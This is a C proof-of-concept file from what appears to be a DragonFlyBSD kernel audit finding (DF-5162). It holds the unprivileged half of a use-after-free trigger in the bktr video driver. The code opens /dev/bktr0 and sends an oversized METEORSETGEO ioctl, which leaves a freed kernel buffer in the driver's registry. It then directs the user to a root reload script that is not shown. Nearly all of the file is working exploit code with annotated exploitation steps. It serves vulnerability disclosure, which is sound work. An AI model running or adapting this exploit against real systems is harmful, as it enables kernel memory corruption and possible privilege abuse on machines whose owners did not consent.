⬢ DragonFlyBSD Kernel Audit
DF-5162 / grow_stale.c
← back to finding ↓ download raw
/*
 * DF-5162 — unprivileged half of the trigger.
 *
 * Opens /dev/bktr0 (mode 0444 — world-readable, ioctls allowed) and issues
 * METEORSETGEO with a geometry whose computed frame size exceeds the
 * attach-time allocation (BROOKTREE_ALLOC = 217*4 pages), forcing the grow
 * path at bktr_core.c:1655-1675 to:
 *
 *      buf = get_bktr_mem(unit, temp*PAGE_SIZE);   // new buffer
 *      kmem_free(kernel_map, bktr->bigbuf, ...);   // OLD buffer freed
 *      bktr->bigbuf = buf;
 *
 * without updating the bktr_mem registry (bktr_store_address is NOT called
 * after the grow), so memory_list[unit].buf still holds the FREED original
 * KVA while addresses_stored stays 1.
 *
 * The root half (reload_stale.sh) then makes the freed pointer be
 * reinstalled and bzero()ed + DMA'd into after a driver reload.
 */
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>

/* mirror of sys/dev/video/meteor/ioctl_meteor.h */
struct meteor_geomet {
	unsigned short  rows;
	unsigned short  columns;
	unsigned short frames;
	unsigned long  oformat;
};
#define METEORSETGEO        _IOW('x', 3, struct meteor_geomet)
#define METEOR_GEO_RGB16    0x0010000
#define METEOR_GEO_RGB24    0x0020000
#define METEOR_GEO_YUV_422  0x4000000

int
main(void)
{
	struct meteor_geomet geo;
	int fd, error;

	fd = open("/dev/bktr0", O_RDONLY);
	if (fd < 0) {
		printf("open(/dev/bktr0): %s\n", strerror(errno));
		printf("=> no bktr device on this machine; cannot plant stale "
		    "registry entry (hardware-gated)\n");
		return (1);
	}

	/*
	 * Default alloc: 217*4 = 868 pages (BROOKTREE_ALLOC_PAGES).
	 * rows=480 cols=640 frames=1 RGB16 -> 480*640*1*2 = 614400 bytes
	 *   = 150 pages  (no grow).
	 * Grow case: rows=1024 cols=1024 frames=2 RGB16
	 *   -> 1024*1024*2*2 = 4194304 + PAGE_SIZE = 1025+1 pages > 868
	 *   -> grow path taken, old 868-page buffer kmem_free()d, and the
	 *      bktr_mem registry entry for BKTR_MEM_BUF left dangling.
	 */
	memset(&geo, 0, sizeof(geo));
	geo.rows    = 1024;		/* even, <= 0x7fe */
	geo.columns = 1024;		/* even, <= 0x3fe */
	geo.frames  = 2;			/* <= 32 */
	geo.oformat = METEOR_GEO_RGB16;

	error = ioctl(fd, METEORSETGEO, &geo);
	if (error < 0) {
		printf("METEORSETGEO: %s\n", strerror(errno));
		return (1);
	}
	printf("grow ioctl accepted; bktr_mem registry now holds a FREED "
	    "BKTR_MEM_BUF for unit 0\n");
	printf("now run (as root): ./reload_stale.sh\n");
	return (0);
}